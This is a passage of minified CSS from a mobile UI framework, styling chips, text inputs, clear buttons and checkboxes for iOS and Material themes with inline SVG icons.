.chip-label+.chip-delete{margin-right:4px}.md .chip-delete{margin-right:-8px;width:24px;height:24px;line-height:24px;background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20fill%3D'%23000'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%20width%3D'24'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M12%202C6.47%202%202%206.47%202%2012s4.47%2010%2010%2010%2010-4.47%2010-10S17.53%202%2012%202zm5%2013.59L15.59%2017%2012%2013.41%208.41%2017%207%2015.59%2010.59%2012%207%208.41%208.41%207%2012%2010.59%2015.59%207%2017%208.41%2013.41%2012%2017%2015.59z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E");background-position:center;background-size:20px 20px;opacity:.54;margin-left:-8px}.md .theme-dark .chip{background:#333;color:rgba(255,255,255,.87)}.md .theme-dark .chip-outline{background:0 0;border-color:#333}.md .theme-dark .chip-delete{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20fill%3D'%23fff'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%20width%3D'24'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M12%202C6.47%202%202%206.47%202%2012s4.47%2010%2010%2010%2010-4.47%2010-10S17.53%202%2012%202zm5%2013.59L15.59%2017%2012%2013.41%208.41%2017%207%2015.59%2010.59%2012%207%208.41%208.41%207%2012%2010.59%2015.59%207%2017%208.41%2013.41%2012%2017%2015.59z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E")}.md .chip.color-red{background:#f44336;color:#fff}.md .chip.color-red.chip-outline{background:0 0;border-color:#f44336;color:#f44336}.md .chip.color-green{background:#4caf50;color:#fff}.md .chip.color-green.chip-outline{background:0 0;border-color:#4caf50;color:#4caf50}.md .chip.color-blue{background:#2196f3;color:#fff}.md .chip.color-blue.chip-outline{background:0 0;border-color:#2196f3;color:#2196f3}.md .chip.color-pink{background:#e91e63;color:#fff}.md .chip.color-pink.chip-outline{background:0 0;border-color:#e91e63;color:#e91e63}.md .chip.color-yellow{background:#ffeb3b;color:#fff}.md .chip.color-yellow.chip-outline{background:0 0;border-color:#ffeb3b;color:#ffeb3b}.md .chip.color-orange{background:#ff9800;color:#fff}.md .chip.color-orange.chip-outline{background:0 0;border-color:#ff9800;color:#ff9800}.md .chip.color-gray{background:#9e9e9e;color:#fff}.md .chip.color-gray.chip-outline{background:0 0;border-color:#9e9e9e;color:#9e9e9e}.md .chip.color-white{background:#fff;color:#fff}.md .chip.color-white.chip-outline{background:0 0;border-color:#fff;color:#fff}.md .chip.color-black{background:#000;color:#fff}.md .chip.color-black.chip-outline{background:0 0;border-color:#000;color:#000}input[type=date],input[type=datetime-local],input[type=email],input[type=number],input[type=password],input[type=search],input[type=tel],input[type=text],input[type=time],input[type=url],select,textarea{-webkit-box-sizing:border-box;box-sizing:border-box;-webkit-appearance:none;-moz-appearance:none;appearance:none;border:none;-webkit-box-shadow:none;box-shadow:none;border-radius:0;outline:0;display:block;padding:0;margin:0;font-family:inherit;background:0 0;resize:none;font-size:inherit;color:inherit}.textarea-resizable-shadow{opacity:0;position:absolute;z-index:-1000;pointer-events:none;left:-1000px;top:-1000px;visibility:hidden}.list input[type=date],.list input[type=datetime-local],.list input[type=email],.list input[type=number],.list input[type=password],.list input[type=search],.list input[type=tel],.list input[type=text],.list input[type=time],.list input[type=url],.list select,.list textarea{width:100%}.list input[type=datetime-local]{max-width:50vw}.list input[type=date],.list input[type=datetime-local]{line-height:44px}.list input[type=date],.list input[type=datetime-local]{text-align:right;-webkit-box-orient:horizontal;-webkit-box-direction:reverse;-webkit-flex-direction:row-reverse;-ms-flex-direction:row-reverse;flex-direction:row-reverse;width:auto}.list textarea{resize:none;line-height:1.4;height:100px}.list .item-floating-label,.list .item-label{vertical-align:top;-webkit-flex-shrink:0;-ms-flex-negative:0;flex-shrink:0}.list .item-input-wrap{width:100%;-webkit-flex-shrink:1;-ms-flex-negative:1;flex-shrink:1;position:relative}.input{position:relative}.input input,.input select,.input textarea{width:100%}.input-clear-button{opacity:0;pointer-events:none;visibility:hidden;-webkit-transition-duration:.1s;transition-duration:.1s;position:absolute;top:50%;border-radius:50%;border:none;padding:0;margin:0;outline:0;z-index:1;cursor:pointer;background:0 0;left:0}.input-clear-button:after{content:'';position:absolute;width:100%;height:100%;left:0;top:0;background-repeat:no-repeat;background-position:center center}.input-clear-button:before{position:absolute;content:'';left:50%;top:50%}.input-with-value .input-clear-button,.input-with-value~.input-clear-button,.item-input-with-value .input-clear-button{opacity:1;pointer-events:auto;visibility:visible}.input-dropdown,.input-dropdown-wrap{position:relative}.input-dropdown-wrap:before,.input-dropdown:before{content:'';pointer-events:none;position:absolute;top:50%;margin-top:-2px;width:0;height:0;border-left:5px solid transparent;border-right:5px solid transparent;border-top:5px solid #727272;left:2px}.input-dropdown input,.input-dropdown select,.input-dropdown textarea,.input-dropdown-wrap input,.input-dropdown-wrap select,.input-dropdown-wrap textarea{padding-right:14px}.ios .list input[type=date],.ios .list input[type=datetime-local],.ios .list input[type=email],.ios .list input[type=number],.ios .list input[type=password],.ios .list input[type=search],.ios .list input[type=tel],.ios .list input[type=text],.ios .list input[type=time],.ios .list input[type=url],.ios .list select{height:44px;color:#000;font-size:17px}.ios .list textarea{color:#000;font-size:17px;padding-top:11px;padding-bottom:11px}.ios .list textarea.resizable{height:44px}.ios .item-floating-label,.ios .item-label{font-size:12px;width:100%;line-height:1;overflow:visible}.ios .item-floating-label+.item-input-wrap,.ios .item-label+.item-input-wrap{margin-top:0}.ios .item-input .item-inner{display:block}.ios .item-input .item-media{-webkit-align-self:flex-start;-ms-flex-item-align:start;align-self:flex-start}.ios .item-input-wrap{margin-top:-8px;margin-bottom:-8px}.ios .inline-label .item-inner,.ios .inline-labels .item-inner{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex}.ios .inline-label .item-floating-label,.ios .inline-label .item-label,.ios .inline-labels .item-floating-label,.ios .inline-labels .item-label{font-size:17px;width:35%;line-height:1.4;-webkit-align-self:flex-start;-ms-flex-item-align:start;align-self:flex-start;padding-top:3px}.ios .inline-label .item-floating-label+.item-input-wrap,.ios .inline-label .item-label+.item-input-wrap,.ios .inline-labels .item-floating-label+.item-input-wrap,.ios .inline-labels .item-label+.item-input-wrap{margin-top:-8px;margin-right:5px}.ios .inline-label .item-input-wrap,.ios .inline-labels .item-input-wrap{margin-top:-8px}.ios .item-input-with-error-message .item-input-wrap input,.ios .item-input-with-error-message .item-input-wrap select,.ios .item-input-with-error-message .item-input-wrap textarea,.ios div.input-with-error-message input,.ios div.input-with-error-message select,.ios div.input-with-error-message textarea,.ios span.input-with-error-message input,.ios span.input-with-error-message select,.ios span.input-with-error-message textarea{color:#ff3b30}.ios .input-error-message,.ios .input-info,.ios .item-input-error-message,.ios .item-input-info{font-size:12px;line-height:1.4;position:relative;margin-bottom:6px;margin-top:-8px}.ios .input-info,.ios .item-input-info{color:#8e8e93}.ios .input-error-message,.ios .item-input-error-message{color:#ff3b30;display:none}.ios .item-input-invalid .item-input-error-message{display:block}.ios .item-input-invalid .item-input-info{display:none}.ios .input-invalid .input-error-message{display:block}.ios .input-invalid .input-info{display:none}.ios .input-clear-button{width:14px;height:14px;margin-top:-7px}.ios .input-clear-button:after{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2028%2028'%3E%3Ccircle%20cx%3D'14'%20cy%3D'14'%20r%3D'14'%20fill%3D'%238e8e93'%2F%3E%3Cline%20stroke%3D'%23ffffff'%20stroke-width%3D'3'%20stroke-miterlimit%3D'10'%20x1%3D'8'%20y1%3D'8'%20x2%3D'20'%20y2%3D'20'%2F%3E%3Cline%20fill%3D'none'%20stroke%3D'%23ffffff'%20stroke-width%3D'3'%20stroke-miterlimit%3D'10'%20x1%3D'20'%20y1%3D'8'%20x2%3D'8'%20y2%3D'20'%2F%3E%3C%2Fsvg%3E");background-size:14px 14px}.ios .input-clear-button:before{width:44px;height:44px;margin-left:-22px;margin-top:-22px}.ios .item-input-wrap .input-clear-button{top:22px}.ios .theme-dark .list input[type=date],.ios .theme-dark .list input[type=datetime-local],.ios .theme-dark .list input[type=email],.ios .theme-dark .list input[type=number],.ios .theme-dark .list input[type=password],.ios .theme-dark .list input[type=search],.ios .theme-dark .list input[type=tel],.ios .theme-dark .list input[type=text],.ios .theme-dark .list input[type=time],.ios .theme-dark .list input[type=url],.ios .theme-dark .list select,.list.ios .theme-dark input[type=date],.list.ios .theme-dark input[type=datetime-local],.list.ios .theme-dark input[type=email],.list.ios .theme-dark input[type=number],.list.ios .theme-dark input[type=password],.list.ios .theme-dark input[type=search],.list.ios .theme-dark input[type=tel],.list.ios .theme-dark input[type=text],.list.ios .theme-dark input[type=time],.list.ios .theme-dark input[type=url],.list.ios .theme-dark select{color:#fff}.ios .theme-dark .list textarea,.list.ios .theme-dark textarea{color:#fff}.md .list input[type=date],.md .list input[type=datetime-local],.md .list input[type=email],.md .list input[type=number],.md .list input[type=password],.md .list input[type=search],.md .list input[type=tel],.md .list input[type=text],.md .list input[type=time],.md .list input[type=url],.md .list select{height:36px;color:#212121;font-size:16px}.md .list input[type=date]::-webkit-input-placeholder,.md .list input[type=datetime-local]::-webkit-input-placeholder,.md .list input[type=email]::-webkit-input-placeholder,.md .list input[type=number]::-webkit-input-placeholder,.md .list input[type=password]::-webkit-input-placeholder,.md .list input[type=search]::-webkit-input-placeholder,.md .list input[type=tel]::-webkit-input-placeholder,.md .list input[type=text]::-webkit-input-placeholder,.md .list input[type=time]::-webkit-input-placeholder,.md .list input[type=url]::-webkit-input-placeholder,.md .list select::-webkit-input-placeholder{color:rgba(0,0,0,.35)}.md .list input[type=date]:-ms-input-placeholder,.md .list input[type=datetime-local]:-ms-input-placeholder,.md .list input[type=email]:-ms-input-placeholder,.md .list input[type=number]:-ms-input-placeholder,.md .list input[type=password]:-ms-input-placeholder,.md .list input[type=search]:-ms-input-placeholder,.md .list input[type=tel]:-ms-input-placeholder,.md .list input[type=text]:-ms-input-placeholder,.md .list input[type=time]:-ms-input-placeholder,.md .list input[type=url]:-ms-input-placeholder,.md .list select:-ms-input-placeholder{color:rgba(0,0,0,.35)}.md .list input[type=date]::-ms-input-placeholder,.md .list input[type=datetime-local]::-ms-input-placeholder,.md .list input[type=email]::-ms-input-placeholder,.md .list input[type=number]::-ms-input-placeholder,.md .list input[type=password]::-ms-input-placeholder,.md .list input[type=search]::-ms-input-placeholder,.md .list input[type=tel]::-ms-input-placeholder,.md .list input[type=text]::-ms-input-placeholder,.md .list input[type=time]::-ms-input-placeholder,.md .list input[type=url]::-ms-input-placeholder,.md .list select::-ms-input-placeholder{color:rgba(0,0,0,.35)}.md .list input[type=date]::placeholder,.md .list input[type=datetime-local]::placeholder,.md .list input[type=email]::placeholder,.md .list input[type=number]::placeholder,.md .list input[type=password]::placeholder,.md .list input[type=search]::placeholder,.md .list input[type=tel]::placeholder,.md .list input[type=text]::placeholder,.md .list input[type=time]::placeholder,.md .list input[type=url]::placeholder,.md .list select::placeholder{color:rgba(0,0,0,.35)}.md .list textarea{color:#212121;font-size:16px;padding-top:7px;padding-bottom:7px}.md .list textarea.resizable{height:36px}.md .list textarea::-webkit-input-placeholder{color:rgba(0,0,0,.35)}.md .list textarea:-ms-input-placeholder{color:rgba(0,0,0,.35)}.md .list textarea::-ms-input-placeholder{color:rgba(0,0,0,.35)}.md .list textarea::placeholder{color:rgba(0,0,0,.35)}.md .input:after,.md .item-input-wrap:after{-webkit-transition-duration:.2s;transition-duration:.2s}.md .item-input-wrap{min-height:36px}.md .item-input-wrap:after{content:'';position:absolute;background-color:rgba(0,0,0,.12);display:block;z-index:15;top:auto;right:auto;bottom:0;left:0;height:1px;width:100%;-webkit-transform-origin:50% 100%;transform-origin:50% 100%}.md.device-pixel-ratio-2 .item-input-wrap:after{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.md.device-pixel-ratio-3 .item-input-wrap:after{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.md .input:after{content:'';position:absolute;background-color:rgba(0,0,0,.12);display:block;z-index:15;top:auto;right:auto;bottom:0;left:0;height:1px;width:100%;-webkit-transform-origin:50% 100%;transform-origin:50% 100%}.md.device-pixel-ratio-2 .input:after{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.md.device-pixel-ratio-3 .input:after{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.md .item-floating-label,.md .item-label{font-size:12px;width:100%;color:rgba(0,0,0,.65);-webkit-transition-duration:.2s;transition-duration:.2s;line-height:13px;-webkit-transition-property:color,-webkit-transform;transition-property:color,-webkit-transform;transition-property:transform,color;transition-property:transform,color,-webkit-transform}.md .item-floating-label{-webkit-transform:scale(1.33333333) translateY(18px);transform:scale(1.33333333) translateY(18px);color:rgba(0,0,0,.35);width:auto;max-width:75%;pointer-events:none;-webkit-transform-origin:right;transform-origin:right}.md .item-floating-label~.item-input-wrap input::-webkit-input-placeholder,.md .item-floating-label~.item-input-wrap textarea::-webkit-input-placeholder{color:transparent!important}.md .item-floating-label~.item-input-wrap input:-ms-input-placeholder,.md .item-floating-label~.item-input-wrap textarea:-ms-input-placeholder{color:transparent!important}.md .item-floating-label~.item-input-wrap input::-ms-input-placeholder,.md .item-floating-label~.item-input-wrap textarea::-ms-input-placeholder{color:transparent!important}.md .item-floating-label~.item-input-wrap input::placeholder,.md .item-floating-label~.item-input-wrap textarea::placeholder{color:transparent!important}.md .item-input-focused .item-floating-label,.md .item-input-with-value .item-floating-label{-webkit-transform:scale(1) translateY(0);transform:scale(1) translateY(0)}.md .item-input-with-value .item-floating-label{color:rgba(0,0,0,.65)}.md .item-input .item-media{-webkit-align-self:flex-end;-ms-flex-item-align:end;align-self:flex-end}.md .item-input .item-inner{display:block}.md .item-input .item-inner:after{display:none!important}.md .inline-label .item-media,.md .inline-labels .item-media{-webkit-align-self:flex-start;-ms-flex-item-align:start;align-self:flex-start;padding-top:14px}.md .inline-label .item-inner,.md .inline-labels .item-inner{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex}.md .inline-label .item-floating-label,.md .inline-label .item-label,.md .inline-labels .item-floating-label,.md .inline-labels .item-label{font-size:16px;width:30%;line-height:1.5;-webkit-align-self:flex-start;-ms-flex-item-align:start;align-self:flex-start;padding-top:7px}.md .inline-label .item-floating-label+.item-input-wrap,.md .inline-label .item-label+.item-input-wrap,.md .inline-labels .item-floating-label+.item-input-wrap,.md .inline-labels .item-label+.item-input-wrap{margin-right:8px}.md .item-input-with-error-message,.md .item-input-with-info,.md div.input-with-error-message,.md div.input-with-info,.md span.input-with-error-message,.md span.input-with-info{padding-bottom:20px}.md .input-error-message,.md .input-info,.md .item-input-error-message,.md .item-input-info{font-size:12px;line-height:1.4;position:absolute;top:100%;margin-top:4px;white-space:nowrap;overflow:hidden;text-overflow:ellipsis;display:block;right:0;left:16px}.md .input-info,.md .item-input-info{color:rgba(0,0,0,.45)}.md .input-error-message,.md .item-input-error-message{color:#f44336;display:none}.md .item-input-focused .item-floating-label,.md .item-input-focused .item-label{color:#2196f3}.md .input-focused:after,.md .item-input-focused .item-input-wrap:after{background:#2196f3}.md .item-input-invalid .item-floating-label,.md .item-input-invalid .item-label,.md .item-invalid .item-floating-label,.md .item-invalid .item-label{color:#f44336}.md .item-input-invalid .input-error-message,.md .item-input-invalid .item-input-error-message,.md .item-invalid .input-error-message,.md .item-invalid .item-input-error-message{display:block}.md .item-input-invalid .input-info,.md .item-input-invalid .item-input-info,.md .item-invalid .input-info,.md .item-invalid .item-input-info{display:none}.md .input-invalid:after,.md .item-input-invalid .item-input-wrap:after{background:#f44336}.md .item-input-focused .item-input-wrap:after,.md .item-input-invalid .item-input-wrap:after{-webkit-transform:scaleY(2);transform:scaleY(2)}.md .input-focused:after,.md .input-invalid:after{-webkit-transform:scaleY(2)!important;transform:scaleY(2)!important}.md .input-clear-button{width:24px;height:24px;background:rgba(0,0,0,.12);margin-top:-12px}.md .input-clear-button:after{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20fill%3D'%23000'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%20width%3D'24'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M19%206.41L17.59%205%2012%2010.59%206.41%205%205%206.41%2010.59%2012%205%2017.59%206.41%2019%2012%2013.41%2017.59%2019%2019%2017.59%2013.41%2012z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E");background-size:16px 16px;opacity:.54}.md .input-clear-button:before{width:48px;height:48px;margin-left:-24px;margin-top:-24px}.md .item-input-wrap .input-clear-button{bottom:6px;margin-top:0;top:auto}.md .theme-dark input[type=date],.md .theme-dark input[type=datetime-local],.md .theme-dark input[type=email],.md .theme-dark input[type=number],.md .theme-dark input[type=password],.md .theme-dark input[type=search],.md .theme-dark input[type=tel],.md .theme-dark input[type=text],.md .theme-dark input[type=time],.md .theme-dark input[type=url],.md .theme-dark select,.md .theme-dark textarea{color:rgba(255,255,255,.87)}.md .theme-dark input[type=date]::-webkit-input-placeholder,.md .theme-dark input[type=datetime-local]::-webkit-input-placeholder,.md .theme-dark input[type=email]::-webkit-input-placeholder,.md .theme-dark input[type=number]::-webkit-input-placeholder,.md .theme-dark input[type=password]::-webkit-input-placeholder,.md .theme-dark input[type=search]::-webkit-input-placeholder,.md .theme-dark input[type=tel]::-webkit-input-placeholder,.md .theme-dark input[type=text]::-webkit-input-placeholder,.md .theme-dark input[type=time]::-webkit-input-placeholder,.md .theme-dark input[type=url]::-webkit-input-placeholder,.md .theme-dark select::-webkit-input-placeholder,.md .theme-dark textarea::-webkit-input-placeholder{color:rgba(255,255,255,.35)}.md .theme-dark input[type=date]:-ms-input-placeholder,.md .theme-dark input[type=datetime-local]:-ms-input-placeholder,.md .theme-dark input[type=email]:-ms-input-placeholder,.md .theme-dark input[type=number]:-ms-input-placeholder,.md .theme-dark input[type=password]:-ms-input-placeholder,.md .theme-dark input[type=search]:-ms-input-placeholder,.md .theme-dark input[type=tel]:-ms-input-placeholder,.md .theme-dark input[type=text]:-ms-input-placeholder,.md .theme-dark input[type=time]:-ms-input-placeholder,.md .theme-dark input[type=url]:-ms-input-placeholder,.md .theme-dark select:-ms-input-placeholder,.md .theme-dark textarea:-ms-input-placeholder{color:rgba(255,255,255,.35)}.md .theme-dark input[type=date]::-ms-input-placeholder,.md .theme-dark input[type=datetime-local]::-ms-input-placeholder,.md .theme-dark input[type=email]::-ms-input-placeholder,.md .theme-dark input[type=number]::-ms-input-placeholder,.md .theme-dark input[type=password]::-ms-input-placeholder,.md .theme-dark input[type=search]::-ms-input-placeholder,.md .theme-dark input[type=tel]::-ms-input-placeholder,.md .theme-dark input[type=text]::-ms-input-placeholder,.md .theme-dark input[type=time]::-ms-input-placeholder,.md .theme-dark input[type=url]::-ms-input-placeholder,.md .theme-dark select::-ms-input-placeholder,.md .theme-dark textarea::-ms-input-placeholder{color:rgba(255,255,255,.35)}.md .theme-dark input[type=date]::placeholder,.md .theme-dark input[type=datetime-local]::placeholder,.md .theme-dark input[type=email]::placeholder,.md .theme-dark input[type=number]::placeholder,.md .theme-dark input[type=password]::placeholder,.md .theme-dark input[type=search]::placeholder,.md .theme-dark input[type=tel]::placeholder,.md .theme-dark input[type=text]::placeholder,.md .theme-dark input[type=time]::placeholder,.md .theme-dark input[type=url]::placeholder,.md .theme-dark select::placeholder,.md .theme-dark textarea::placeholder{color:rgba(255,255,255,.35)}.md .theme-dark .input:after,.md .theme-dark .item-input:not(.item-input-focused) .item-input-wrap:after{background-color:rgba(255,255,255,.08)}.md .theme-dark .item-floating-label,.md .theme-dark .item-label{color:rgba(255,255,255,.54)}.md .theme-dark .item-floating-label{color:rgba(255,255,255,.35)}.md .theme-dark .item-input-with-value .item-floating-label{color:rgba(255,255,255,.54)}.md .theme-dark .input-clear-button{background:#fff}.md .color-theme-red .item-input-focused .item-floating-label,.md .color-theme-red .item-input-focused .item-label{color:#f44336}.md .color-theme-red .input-after:after,.md .color-theme-red .item-input-focused .item-input-wrap:after{background:#f44336}.md .color-theme-green .item-input-focused .item-floating-label,.md .color-theme-green .item-input-focused .item-label{color:#4caf50}.md .color-theme-green .input-after:after,.md .color-theme-green .item-input-focused .item-input-wrap:after{background:#4caf50}.md .color-theme-blue .item-input-focused .item-floating-label,.md .color-theme-blue .item-input-focused .item-label{color:#2196f3}.md .color-theme-blue .input-after:after,.md .color-theme-blue .item-input-focused .item-input-wrap:after{background:#2196f3}.md .color-theme-pink .item-input-focused .item-floating-label,.md .color-theme-pink .item-input-focused .item-label{color:#e91e63}.md .color-theme-pink .input-after:after,.md .color-theme-pink .item-input-focused .item-input-wrap:after{background:#e91e63}.md .color-theme-yellow .item-input-focused .item-floating-label,.md .color-theme-yellow .item-input-focused .item-label{color:#ffeb3b}.md .color-theme-yellow .input-after:after,.md .color-theme-yellow .item-input-focused .item-input-wrap:after{background:#ffeb3b}.md .color-theme-orange .item-input-focused .item-floating-label,.md .color-theme-orange .item-input-focused .item-label{color:#ff9800}.md .color-theme-orange .input-after:after,.md .color-theme-orange .item-input-focused .item-input-wrap:after{background:#ff9800}.md .color-theme-gray .item-input-focused .item-floating-label,.md .color-theme-gray .item-input-focused .item-label{color:#9e9e9e}.md .color-theme-gray .input-after:after,.md .color-theme-gray .item-input-focused .item-input-wrap:after{background:#9e9e9e}.md .color-theme-white .item-input-focused .item-floating-label,.md .color-theme-white .item-input-focused .item-label{color:#fff}.md .color-theme-white .input-after:after,.md .color-theme-white .item-input-focused .item-input-wrap:after{background:#fff}.md .color-theme-black .item-input-focused .item-floating-label,.md .color-theme-black .item-input-focused .item-label{color:#000}.md .color-theme-black .input-after:after,.md .color-theme-black .item-input-focused .item-input-wrap:after{background:#000}.md .item-input-focused.color-red .item-floating-label,.md .item-input-focused.color-red .item-label{color:#f44336}.md .input-after.color-red:after,.md .item-input-focused.color-red .item-input-wrap:after{background:#f44336}.md .item-input-focused.color-green .item-floating-label,.md .item-input-focused.color-green .item-label{color:#4caf50}.md .input-after.color-green:after,.md .item-input-focused.color-green .item-input-wrap:after{background:#f44336}.md .item-input-focused.color-blue .item-floating-label,.md .item-input-focused.color-blue .item-label{color:#2196f3}.md .input-after.color-blue:after,.md .item-input-focused.color-blue .item-input-wrap:after{background:#f44336}.md .item-input-focused.color-pink .item-floating-label,.md .item-input-focused.color-pink .item-label{color:#e91e63}.md .input-after.color-pink:after,.md .item-input-focused.color-pink .item-input-wrap:after{background:#f44336}.md .item-input-focused.color-yellow .item-floating-label,.md .item-input-focused.color-yellow .item-label{color:#ffeb3b}.md .input-after.color-yellow:after,.md .item-input-focused.color-yellow .item-input-wrap:after{background:#f44336}.md .item-input-focused.color-orange .item-floating-label,.md .item-input-focused.color-orange .item-label{color:#ff9800}.md .input-after.color-orange:after,.md .item-input-focused.color-orange .item-input-wrap:after{background:#f44336}.md .item-input-focused.color-gray .item-floating-label,.md .item-input-focused.color-gray .item-label{color:#9e9e9e}.md .input-after.color-gray:after,.md .item-input-focused.color-gray .item-input-wrap:after{background:#f44336}.md .item-input-focused.color-white .item-floating-label,.md .item-input-focused.color-white .item-label{color:#fff}.md .input-after.color-white:after,.md .item-input-focused.color-white .item-input-wrap:after{background:#f44336}.md .item-input-focused.color-black .item-floating-label,.md .item-input-focused.color-black .item-label{color:#000}.md .input-after.color-black:after,.md .item-input-focused.color-black .item-input-wrap:after{background:#f44336}.checkbox i,.icon-checkbox{-webkit-flex-shrink:0;-ms-flex-negative:0;flex-shrink:0}.checkbox{position:relative;display:inline-block;vertical-align:middle;z-index:1}.checkbox,label.item-checkbox{cursor:pointer}.checkbox input[type=checkbox],.checkbox input[type=radio],label.item-checkbox input[type=checkbox],label.item-checkbox input[type=radio]{display:none}.checkbox .icon-checkbox,label.item-checkbox .icon-checkbox{-webkit-box-sizing:border-box;box-sizing:border-box;position:relative;display:block}.checkbox .icon-checkbox:after,label.item-checkbox .icon-checkbox:after{content:'';position:absolute}label.item-checkbox{-webkit-transition-duration:.3s;transition-duration:.3s}label.item-checkbox.active-state:after{background-color:transparent}.disabled label.item-checkbox,label.item-checkbox.disabled{opacity:.55;pointer-events:none;opacity:.55!important;pointer-events:none!important}.ios .checkbox i,.ios .icon-checkbox{width:22px;height:22px;border-radius:50%;border:1px solid #c7c7cc}.ios .checkbox i:after,.ios .icon-checkbox:after{left:50%;top:50%;margin-left:-6px;margin-top:-4px;width:12px;height:9px}.ios .checkbox input[type=checkbox]:checked~i,.ios label.item-checkbox input[type=checkbox]:checked~.icon-checkbox{border:none;background:#007aff}.ios .checkbox input[type=checkbox]:checked~i:after,.ios label.item-checkbox input[type=checkbox]:checked~.icon-checkbox:after{background:no-repeat center;background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20x%3D'0px'%20y%3D'0px'%20viewBox%3D'0%200%2012%209'%20xml%3Aspace%3D'preserve'%3E%3Cpolygon%20fill%3D'%23ffffff'%20points%3D'12%2C0.7%2011.3%2C0%203.9%2C7.4%200.7%2C4.2%200%2C4.9%203.9%2C8.8%203.9%2C8.8%203.9%2C8.8%20'%2F%3E%3C%2Fsvg%3E");background-size:12px 9px}.ios label.item-checkbox>.icon-checkbox{margin-left:15px}.ios label.item-checkbox .item-content .item-media,.ios label.item-checkbox.item-content .item-media{-webkit-align-self:center;-ms-flex-item-align:center;align-self:center}.ios label.item-checkbox.active-state{-webkit-transition-duration:0s;transition-duration:0s;background-color:#d9d9d9}.ios .theme-dark label.item-checkbox.active-state{background-color:#363636}.ios .color-theme-red .checkbox input[type=checkbox]:checked~i,.ios .color-theme-red label.item-checkbox input[type=checkbox]:checked~.icon-checkbox{background:#ff3b30}.ios .color-theme-green .checkbox input[type=checkbox]:checked~i,.ios .color-theme-green label.item-checkbox input[type=checkbox]:checked~.icon-checkbox{background:#4cd964}.ios .color-theme-blue .checkbox input[type=checkbox]:checked~i,.ios .color-theme-blue label.item-checkbox input[type=checkbox]:checked~.icon-checkbox{background:#007aff}.ios .color-theme-pink .checkbox input[type=checkbox]:checked~i,.ios .color-theme-pink label.item-checkbox input[type=checkbox]:checked~.icon-checkbox{background:#ff2d55}.ios .color-theme-yellow .checkbox input[type=checkbox]:checked~i,.ios .color-theme-yellow label.item-checkbox input[type=checkbox]:checked~.icon-checkbox{background:#fc0}.ios .color-theme-orange .checkbox input[type=checkbox]:checked~i,.ios .color-theme-orange label.item-checkbox input[type=checkbox]:checked~.icon-checkbox{background:#ff9500}.ios .color-theme-gray .checkbox input[type=checkbox]:checked~i,.ios .color-theme-gray label.item-checkbox input[type=checkbox]:checked~.icon-checkbox{background:#8e8e93}.ios .color-theme-white .checkbox input[type=checkbox]:checked~i,.ios .color-theme-white label.item-checkbox input[type=checkbox]:checked~.icon-checkbox{background:#fff}.ios .color-theme-black .checkbox input[type=checkbox]:checked~i,.ios .color-theme-black label.item-checkbox input[type=checkbox]:checked~.icon-checkbox{background:#000}.ios .checkbox.color-red input[type=checkbox]:checked~i,.ios label.item-checkbox.color-red input[type=checkbox]:checked~.icon-checkbox{background:#ff3b30}.ios .checkbox.color-green input[type=checkbox]:checked~i,.ios label.item-checkbox.color-green input[type=checkbox]:checked~.icon-checkbox{background:#4cd964}.ios .checkbox.color-blue input[type=checkbox]:checked~i,.ios label.item-checkbox.color-blue input[type=checkbox]:checked~.icon-checkbox{background:#007aff}.ios .checkbox.color-pink input[type=checkbox]:checked~i,.ios label.item-checkbox.color-pink input[type=checkbox]:checked~.icon-checkbox{background:#ff2d55}.ios .checkbox.color-yellow input[type=checkbox]:checked~i,.ios label.item-checkbox.color-yellow input[type=checkbox]:checked~.icon-checkbox{background:#fc0}.ios .checkbox.color-orange input[type=checkbox]:checked~i,.ios label.item-checkbox.color-orange input[type=checkbox]:checked~.icon-checkbox{background:#ff9500}.ios .checkbox.color-gray input[type=checkbox]:checked~i,.ios label.item-checkbox.color-gray input[type=checkbox]:checked~.icon-checkbox{background:#8e8e93}.ios .checkbox.color-white input[type=checkbox]:checked~i,.ios label.item-checkbox.color-white input[type=checkbox]:checked~.icon-checkbox{background:#fff}.ios .checkbox.color-black input[type=checkbox]:checked~i,.ios label.item-checkbox.color-black input[type=checkbox]:checked~.icon-checkbox{background:#000}.md .checkbox i,.md .icon-checkbox{width:18px;height:18px;border-radius:2px;border:2px solid #6d6d6d;-webkit-transition-duration:.2s;transition-duration:.2s;background-color:transparent}.md .checkbox i:after,.md .icon-checkbox:after{width:18px;height:18px;left:-2px;top:-2px;-webkit-transition-duration:.2s;transition-duration:.2s;opacity:0;background:no-repeat center;background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20fill%3D'%23ffffff'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M9%2016.17L4.83%2012l-1.42%201.41L9%2019%2021%207l-1.41-1.41z'%2F%3E%3C%2Fsvg%3E");background-size:100% auto}.md .checkbox input[type=checkbox]:checked~i,.md label.item-checkbox input[type=checkbox]:checked~* .icon-checkbox,.md label.item-checkbox input[type=checkbox]:checked~.icon-checkbox{background-color:#2196f3;border-color:#2196f3}.md 